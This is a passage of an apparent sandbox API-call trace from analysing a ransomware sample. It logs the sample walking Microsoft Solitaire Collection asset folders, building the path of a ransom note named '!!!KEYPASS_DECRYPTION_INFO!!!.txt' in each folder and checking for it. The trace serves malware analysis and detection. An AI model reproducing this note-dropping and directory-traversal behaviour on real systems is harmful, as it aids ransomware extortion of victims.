Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Pin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Pin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.044] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Pin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.045] GetLastError () returned 0x5 [0290.045] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.045] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.045] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Sounds\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.045] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.046] GetLastError () returned 0x5 [0290.046] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.046] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.046] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Stripes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Stripes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.046] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.StarClub\\Assets\\Stripes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.046] GetLastError () returned 0x5 [0290.046] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.046] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.046] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.046] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.047] GetLastError () returned 0x5 [0290.047] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.047] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.047] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\Default\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\Default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.047] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Upsell\\Default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.048] GetLastError () returned 0x5 [0290.048] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.048] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.048] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.048] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.048] GetLastError () returned 0x5 [0290.049] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.049] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.049] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.049] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.050] GetLastError () returned 0x5 [0290.050] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.050] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.050] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\Hud\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\Hud\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.050] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Arkadium.Win10.Xaml.Toolkit\\Assets\\Hud\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.050] GetLastError () returned 0x5 [0290.050] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.050] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.050] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.050] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.051] GetLastError () returned 0x5 [0290.051] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.051] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Audio\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Audio\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.051] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Audio\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.056] GetLastError () returned 0x5 [0290.056] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.056] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.056] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.056] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.062] GetLastError () returned 0x5 [0290.062] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.062] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.063] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Back\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Back\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.063] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Back\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.063] GetLastError () returned 0x5 [0290.063] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.063] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.063] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Deal\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Deal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.063] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Deal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.064] GetLastError () returned 0x5 [0290.065] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.065] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.065] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\FullScreen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\FullScreen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.065] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\FullScreen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.069] GetLastError () returned 0x5 [0290.070] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.070] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.070] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Menu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Menu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.070] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Menu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.074] GetLastError () returned 0x5 [0290.075] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.075] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.075] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Solve\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Solve\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.075] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Solve\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.076] GetLastError () returned 0x5 [0290.076] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.076] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.076] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\TryAgain\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\TryAgain\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.076] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\TryAgain\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.077] GetLastError () returned 0x5 [0290.077] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.077] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.077] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Undo\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Undo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.077] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Buttons\\Undo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.077] GetLastError () returned 0x5 [0290.077] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.077] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.077] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.077] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.083] GetLastError () returned 0x5 [0290.083] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.083] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.083] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Icons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.083] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.084] GetLastError () returned 0x5 [0290.084] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.084] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.084] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\LobbyTiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\LobbyTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.084] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\LobbyTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.089] GetLastError () returned 0x5 [0290.089] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.089] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Popup\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Popup\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.089] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\DailyChallenges\\Popup\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.094] GetLastError () returned 0x5 [0290.094] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.094] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.094] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Fireworks\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Fireworks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.094] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Fireworks\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.095] GetLastError () returned 0x5 [0290.095] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.095] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.095] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GameEnd\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GameEnd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.095] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GameEnd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.101] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.101] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.101] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\GamePlayAssets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program 